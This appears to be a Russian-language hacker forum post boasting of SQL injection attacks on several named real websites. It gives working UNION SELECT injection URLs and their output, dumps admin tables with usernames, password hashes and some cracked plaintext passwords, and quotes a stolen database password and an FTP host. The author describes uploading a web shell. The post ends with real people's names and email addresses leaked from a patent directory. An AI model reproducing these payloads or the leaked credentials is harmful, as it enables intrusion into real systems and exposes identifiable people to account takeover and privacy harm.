http://www.directoryofpediatricians.com/details.php?id=37890797987631+union+select+1,2,3,4 ,5,6,7,8,9,concat_ws(0x3a,user(),version(),databas e())--
dofp_ab@localhost
4.1.22-standard
dofp_db
http://www.ecrush.com/loveadvice/index.php?cat=9&id=30709709878768531+union+select+ 1,2,3,4,5,6,concat_ws(0x3a,user(),version(),databa se()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,2 3,24,25--
Database Version: 5.0.46-enterprise-gpl-log
Database name: espin_dbo
User name: ecrush@172.20.65.64
http://www.poetryfoundation.org/journal/feature.html?id=18239776986986554+union+select+1,2 ,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,concat_w s(0x3a,user(),version(),database()),20--
PageRank
7
Database Version: 5.0.32-Debian_7etch5-log
Database name: poetry
User name: test@10.0.0.1
http://carbonrecords.com/calendar/showevent.php?id=37798798798731+union+select+1,2,3 ,4,5,6,concat_ws(0x3a,user(),version(),database()) ,8--
User:carbonruby@nariko.dreamhost.com
Version:5.0.67-log
Database:carbonrecords
Ну и законченный магазинчик на вкусное -)
http://www.europanet.com.br/site/index.php?cat_id=32&pag_id=-13673+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,1 4,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30, 31,32,33,34,35,36,37,38,39,40,41,42,43,version(),4 5,46,47,48,49,50,51,52,53,54,55--
Database Version: 5.0.18-log
Database name: europanet
User name: arima@localhost
В общем там 38 Баз для всех пойдет и спам и аси кард итд...
Getting Data from table loja_admin (11 Rows) from database eurobest_commerce
Fields id_admin:usuario:senha:superadmin
[4]:9:carmina:5268582b6eaed9fee8a2658b4f57707a:0
[5]:10:luiz:ebea0b104bf6f36f1eb2ddc931d666ea:1
[6]:11:internet:b7b791e873f143d5318310e59022175d:1
[7]:12:claudia:5268582b6eaed9fee8a2658b4f57707a:0
[8]:13:joana:0ffbdca648adb61d5535ff063e70cb3f:1 пароль amidala
[9]:14:licia:63c193707ac085b2f8dd3115f546d6ed:0
Fields usuario:senha:admin_cat:admin_ftp
[1]:crnarciso:317a77f27ecd0390:0:
[2]:siqueira:0f1209ee38606424:0:
[3]:joice:0e9df198295e5bc8:0: Пароль joice
[4]:erick:350ef7027f408372:0:
[5]:ivan:323ef54f34efa5cb:4: Пароль 120585
[6]:diogo:081c619177dbefa1:0:
[7]:expedicao:6acea1340bfcbf5e:13:
[8]:manu:5210fdc242391e30:575:
[9]:livia:0ce5dd0f706534ab:600: Пароль fotografe
[10]:humberto:6460f98b14d0ae2e:572:/animeinvaders/
[11]:rodolfo:4151a9df6c9924ac:617:/motomax/
[12]:mariofit:136940302c5235c7:617: Пароль ducati
[13]:chris:2d2643c419314e1b:430:/sucesso/
[14]:gameblog:36dda20c5784bd81:825:
[15]:luiz:36dda20c5784bd81:832:/gameblog/
[16]:nelson:36dda20c5784bd81:834:/gameblog/
[17]:leandro:36dda20c5784bd81:831:/gameblog/
[18]:julebas:36dda20c5784bd81:830:/gameblog/
[19]:fhazevedo:36dda20c5784bd81:828:/gameblog/
[20]:sombrates:36dda20c5784bd81:835:/gameblog/
[21]:trivella:36dda20c5784bd81:836:/gameblog/
[22]:humberto_gb:36dda20c5784bd81:829:/gameblog/
[23]:aida:449a67e9524397b5:2:/natureza/ Пароль plantas
[24]:junior:63a09b66402d69ac:977:/xbox/
[25]:marco:36ad6fa45d632cd4:1:/ Пароль хэш MySQL:36ad6fa45d632cd4
ortugal FTP 200.229.132.34:21
[26]:adriano:44d383005b181d39:35: Пароль marley
[27]:luciane:26ae382f4d7de2e9:375:/sucesso/ Пароль lembrar
[28]:humbertoblog:36dda20c5784bd81:829:
[29]:flavia:36dda20c5784bd81:971:/gameblog/
[30]:gustavo:36dda20c5784bd81:970:/gameblog/
В общем самое важное было это залить шел..
Прошел в админку через тело
marco:36ad6fa45d632cd4:1:/ Пароль хэш MySQL:36ad6fa45d632cd4
ortugal FTP 200.229.132.34:21
Ну и спокойно залил.
Далее раскопал конфиг там важная персона
// Database username
$phpAds_config['dbuser'] = 'arima';
// Database password
$phpAds_config['dbpassword'] = 'spectroman21';
Доступ ко всем базам!
save mode отключен -)
Наслаждайтесь.
PostgreSQL 7.2.7 on i686-pc-linux-gnu, compiled by GCC 2.96
http://www.elliottagency.co.uk/details.php?id=-258/**/union/**/select/**/null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,version()--&r=/list.php
http://www.elliottagency.co.uk/details.php?id=-258/**/union/**/select/**/null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,TABLENAME/**/from/**/PG_TABLES+LIMIT+1,1--&r=/list.php
itemimages
CATEGORIES
items
pg_aggregate
pg_am
pg_amop
pg_amproc
pg_attrdef
pg_attribute
pg_xactlock
pg_type
pg_trigger
pg_statistic
pg_shadow
pg_rewrite
pg_relcheck
pg_proc
pg_operator
pg_opclass
pg_listener
pg_largeobject
pg_language
pg_inherits
pg_index
pg_group
pg_description
pg_database
pg_class
Дальше не могу может кто сможет....
DATAMP - Directory of American Tool and Machinery Patents
http://www.datamp.org/displayPatent.php?id=809809809809837107+union+sele ct+1,2,3,4,5,concat_ws(0x3a,user(),version(),datab ase()),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,2 2,23,24--&pn=15
Database Version: 5.0.67-community-nt
Database name: datamp
User name: datamp_owner@localhost
http://www.datamp.org/displayPatent.php?id=809809809809837107+UNION+SELE CT+1,2,3,4,5,CONCAT((SELECT+CONCAT(steward_id,user name,password,name,email)+FROM+datamp.data_steward s+LIMIT+19,1)),7,8,9,10,11,12,13,14,15,16,17,18,19 ,20,21,22,23,24--
[1]:2:rbrendler:513eb98aea47a672a8f3536970b958fe:Ralp h Brendler:rebrendler@gmail.com
[2]:3:jjoslin:0869cf46fd51daaf1ee9ad0a2d2dba6a:Jeff Joslin:datamp@joslin.ca
[3]:4:blpenn:a16aa06b2f0474f3a361be2bfadb9070:Brian Pennington:blpenn@attilathehun.com
[4]:5:sreynolds:d41d8cd98f00b204e9800998ecf8427e:Stev e Reynolds:s.e.reynolds@verizon.net
[5]:6:groberts:7db90444501f73dbb69c90ce7abdc329:Gary Roberts:groberts76@attbi.com
[6]:7:khays:eb416ed484bb765f198c8f43d95ccee8:Kirk Hays:khays@comcast.net
[7]:8:cswingle:d41d8cd98f00b204e9800998ecf8427e:Chris Swingley:cswingle@iarc.uaf.edu
[8]:9:jmcvey:0869cf46fd51daaf1ee9ad0a2d2dba6a:Jeff McVey:jmcvey123@msn.com
[9]:11:datchuck:61bc4419f39a648db27277c551367a5a:Jim Erdman:jlerdman@yahoo.com
[10]:13:cmatthews:1697d46fbd40f5fb68babd2776fd9d0a:Car l Matthews:vise27@gmail.com
[11]:14:dmcconnell:c4ce0603e30080fa5f54e59a94d7921f
o n McConnell:donmccnnll@yahoo.com
[12]:15:rallen:5c40e218bd15cc65899c3ab8905c4656:Russ Allen:rrjallen@yahoo.com
[13]:16:sschulz:d44c2e495958b2062ae1049b20b4aa35:Stan Schulz:mvwcnews@neb.rr.com
[14]:17:motllahsram:5abf97a52e1d08577d1294d9a46d0988:T om Marshall:motllahsram@comcast.net
[15]:18:joelr:ca3df0a222b067dbce8712a979bc9145:Joel Havens:joelr4@verizon.net
[16]:19:murness:c6dafa4f1768d773a4a877f663b59629:Mike Urness:HD1933VLE@aol.com
[17]:20:tpobrienjr:dc787b140dc4fc95ec5fd3ee4e361c6d:To m O'Brien:tpobrienjr@earthlink.net
[18]:21:mwoodard:e15c0f3c29d61392357cbf71c9486e26:Mark Woodard:mark.woodard@nasa.gov
[19]:23:mconley:7ac80e96ae9183e4f5811924f0606203:Mark Conley:sawst2004@yahoo.com
Понравился вот этот ящик -) woodard@nasa.gov